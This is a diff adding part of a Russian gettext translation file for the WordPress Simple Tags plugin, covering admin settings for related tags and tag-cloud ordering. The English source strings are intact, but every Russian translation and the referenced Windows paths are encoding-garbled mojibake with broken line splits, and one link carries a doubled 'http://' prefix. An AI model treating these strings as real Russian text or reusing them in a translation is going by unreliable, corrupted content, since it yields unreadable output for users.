+msgid "Enter the text to show when there is no related post:"
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÑÐµÐºÑÑ, Ð¿ÐŸÐºÐ°Ð·ÑÐ²Ð°ÐµÐŒÑÐ¹ ÐµÑÐ»Ðž ÐœÐµÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ Ð·Ð°Ð¿ÐžÑÐµÐ¹:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:373
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:402
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:452
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:401
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:430
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:480
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº, Ð¿ÐŸÐºÐ°Ð·ÑÐ²Ð°ÐµÐŒÑÐ¹ Ð¿ÐµÑÐµÐŽ ÑÐ¿ÐžÑÐºÐŸÐŒ. ÐÑÑÐ°Ð²ÑÑÐµ Ð¿ÑÑÑÑÐŒ ÐµÑÐ»Ðž Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº ÐœÐµ ÐœÑÐ¶ÐµÐœ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:375
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:403
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐŸÑ Ð¶Ðµ ÑÐžÐœÑÐ°ÐºÑÐžÑ ÐºÐ°Ðº ÐŽÐ»Ñ ÑÑÐœÐºÑÐžÐž <code>st_related_posts()</code> ÐŽÐ»Ñ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ. Ð¡ÐŒÐŸÑÑÐžÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ÐŸÑÐžÐ³ÐžÐœÐ°Ð»ÑÐœÑÑ</a> ÐžÐ»Ðž <a href=\"http://http://lecactus.ru/2007/10/07/851\">ÑÑÑÑÐºÑÑ</a> ÐŽÐŸÐºÑÐŒÐµÐœÑÐ°ÑÐžÑ ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:378
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:406
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "ÐÐ°ÐºÑÐžÐŒÐ°Ð»ÑÐœÐŸÐµ ÑÐžÑÐ»ÐŸ Ð¿ÐŸÐºÐ°Ð·ÑÐ²Ð°ÐµÐŒÑÑ
+ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 5)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:379
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:407
+msgid "Order related tags:"
+msgstr "ÐÐŸÑÑÐŽÐŸÐº ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:381
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:428
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:436
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:409
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:456
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:464
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; ÐÐ°ÐžÐŒÐµÐœÐµÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÐŒÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:382
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:429
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:410
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:457
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; ÐÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÐµ. (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:387
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:415
+msgid "Related tags type format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:389
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:409
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:445
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:417
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:437
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:473
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; ÐÐŸÐºÐ°Ð·Ð°ÑÑ ÑÐŸÑÐŒÐ°ÑÐžÑÐŸÐ²Ð°ÐœÐœÑÐ¹ ÑÐ¿ÐžÑÐŸÐº (ul/li)."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:390
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:410
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:446
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:418
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:438
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:474
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; ÐÑÑÑÐŸÐžÑÑ (ÐœÐµ ÑÐ¿ÐžÑÐŸÐº, Ð¿ÑÐŸÑÑÐŸ div)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:392
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:420
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "ÐÐµÑÐŸÐŽ Ð¿ÐµÑÐµÑÐµÑÐµÐœÐžÑ Ðž ÐŸÐ±ÑÐµÐŽÐžÐœÐµÐœÐžÑ ÐŒÐµÑÐŸÐº, ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÐŒÑÐ¹ ÐŽÐ»Ñ Ð¿ÐŸÑÑÑÐŸÐµÐœÐžÑ ÑÑÑÐ»ÐºÐž ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:394
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:422
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; ÐÑÐ±ÐžÑÐ°ÐµÑ Ð·Ð°Ð¿ÐžÑÐž Ð»ÐžÐ±ÐŸ Ñ ÐŒÐµÑÐºÐŸÐ¹ \"Tag1\" <strong>Ð»ÐžÐ±ÐŸ</strong> Ñ ÐŒÐµÑÐºÐŸÐ¹ \"Tag2\". (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:395
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:423
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; ÐÑÐ±ÐžÑÐ°ÐµÑ Ð·Ð°Ð¿ÐžÑÐž Ñ ÐŸÐ±ÐŸÐžÐŒÐµ ÐŒÐµÑÐºÐ°ÐŒÐž: \"Tag1\" <strong>Ðž</strong> \"Tag2\"."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:397
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:425
+msgid "Related tags link format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÑÑÑÐ»ÐŸÐº ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:399
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:427
+msgid "Related tags separator:"
+msgstr "Ð Ð°Ð·ÐŽÐµÐ»ÐžÑÐµÐ»Ñ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:400
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:413
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:428
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:441
+msgid "Leave empty for list format."
+msgstr "ÐÑÑÐ°Ð²ÑÑÐµ Ð¿ÑÑÑÑÐŒ ÐŽÐ»Ñ Ð²ÑÐ²ÐŸÐŽÐ° ÑÐ¿ÐžÑÐºÐŸÐŒ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:401
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:429
+msgid "Enter the text to show when there is no related tags:"
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÑÐµÐºÑÑ, ÐŸÑÐŸÐ±ÑÐ°Ð¶Ð°ÐµÐŒÑÐ¹ ÐµÑÐ»Ðž ÐœÐµÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:404
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:432
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐŸÑ Ð¶Ðµ ÑÐžÐœÑÐ°ÐºÑÐžÑ ÐºÐ°Ðº ÐŽÐ»Ñ ÑÑÐœÐºÑÐžÐž <code>st_related_tags()</code> ÐŽÐ»Ñ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ. Ð¡ÐŒÐŸÑÑÐžÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ÐŸÑÐžÐ³ÐžÐœÐ°Ð»ÑÐœÑÑ</a> ÐžÐ»Ðž <a href=\"http://http://lecactus.ru/2007/10/07/851\">ÑÑÑÑÐºÑÑ</a> ÐŽÐŸÐºÑÐŒÐµÐœÑÐ°ÑÐžÑ ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:406
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:434
+msgid "Remove related Tags"
+msgstr "Ð£ÐŽÐ°Ð»ÐµÐœÐžÐµ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:407
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:435
+msgid "Remove related Tags type format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÑÐŽÐ°Ð»ÐµÐœÐžÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:412
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:440
+msgid "Remove related tags separator:"
+msgstr "Ð Ð°Ð·ÐŽÐµÐ»ÐžÑÐµÐ»Ñ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:414
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:442
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÑÐµÐºÑÑ, ÐŸÑÐŸÐ±ÑÐ°Ð¶Ð°ÐµÐŒÑÐ¹ ÐµÑÐ»Ðž ÐœÐµÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:415
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:443
+msgid "Remove related tags  link format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÑÑÑÐ»ÐŸÐº ÑÐŽÐ°Ð»ÐµÐœÐžÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:419
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:447
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "ÐÐ°ÐºÐ°Ñ ÑÐ°Ð·ÐœÐžÑÐ° ÐŒÐµÐ¶ÐŽÑ <strong>&#8216;ÐÐŸÑÑÐŽÐŸÐº Ð²ÑÐ±ÐŸÑÐ° ÐŒÐµÑÐŸÐº&#8217;</strong> Ðž <strong>&#8216;ÐÐŸÑÑÐŽÐŸÐº ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ ÐŒÐµÑÐŸÐº&#8217;</strong> ?<br />"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:421
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:449
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;ÐÐŸÑÑÐŽÐŸÐº Ð²ÑÐ±ÐŸÑÐ° ÐŒÐµÑÐŸÐº&#8217;</strong> ÑÑÐŸ Ð¿ÐµÑÐ²ÑÐ¹ ÑÐ°Ð³ Ð²ÐŸ Ð²ÑÐµÐŒÑ Ð³ÐµÐœÐµÑÐ°ÑÐžÐž ÐŸÐ±Ð»Ð°ÐºÐ° ÐŒÐµÑÐŸÐº, Ð² ÑÐŸÐŸÑÐ²ÐµÑÑÑÐ²ÐžÐž Ñ Ð²ÑÐ±ÑÐ°ÐœÐœÑÐŒÐž ÐŒÐµÑÐºÐ°ÐŒÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:422
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:450
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;ÐÐŸÑÑÐŽÐŸÐº ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ ÐŒÐµÑÐŸÐº&#8217;</strong> ÑÑÐŸ Ð²ÑÐŸÑÐŸÐ¹ ÑÐ°Ð³. ÐÐŸÑÐ»Ðµ Ð²ÑÐ±ÐŸÑÐ° ÐŒÐµÑÐŸÐº, Ð²Ñ ÐŒÐŸÐ¶ÐµÑÐµ Ð¿ÐµÑÐµÑÐŸÑÑÐžÑÐŸÐ²Ð°ÑÑ ÐžÑ
+ Ð¿ÐµÑÐµÐŽ Ð¿ÐŸÐºÐ°Ð·ÐŸÐŒ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:424
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:452
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>ÐÑÐžÐŒÐµÑ:</strong> ÐÑ Ñ
+ÐŸÑÐžÑÐµ Ð¿ÐŸÐºÐ°Ð·Ð°ÑÑ ÑÐ»ÑÑÐ°Ð¹ÐœÐŸ 100 ÐœÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÑ
+ ÐŒÐµÑÐŸÐº.<br />"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:425
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:453
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "ÐÑ ÐŽÐŸÐ»Ð¶ÐœÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ &#8216;ÐÐŸÑÑÐŽÐŸÐº Ð²ÑÐ±ÐŸÑÐ° ÐŒÐµÑÐŸÐº&#8217; ÐœÐ° <strong>count-desc</strong> ÐŽÐ»Ñ Ð¿ÐŸÐ»ÑÑÐµÐœÐžÑ 100 ÐœÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÑ
+ ÐŒÐµÑÐŸÐº Ðž &#8216;ÐÐŸÑÑÐŽÐŸÐº ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ ÐŒÐµÑÐŸÐº&#8217; ÐœÐ° <strong>random</strong> ÐŽÐ»Ñ ÑÐ»ÑÑÐ°Ð¹ÐœÐŸÐ¹ ÑÐŸÑÑÐžÑÐŸÐ²ÐºÐž ÐŸÐ±Ð»Ð°ÐºÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:426
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:454
+msgid "Order tags selection:"
+msgstr "ÐÐŸÑÑÐŽÐŸÐº Ð²ÑÐ±ÐŸÑÐ° ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:434
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:167
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:462
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:157
+msgid "Order tags display:"
+msgstr "ÐÐŸÑÑÐŽÐŸÐº ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:437
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:465
+msgid "<code>count-desc</code> &ndash; Most popular."
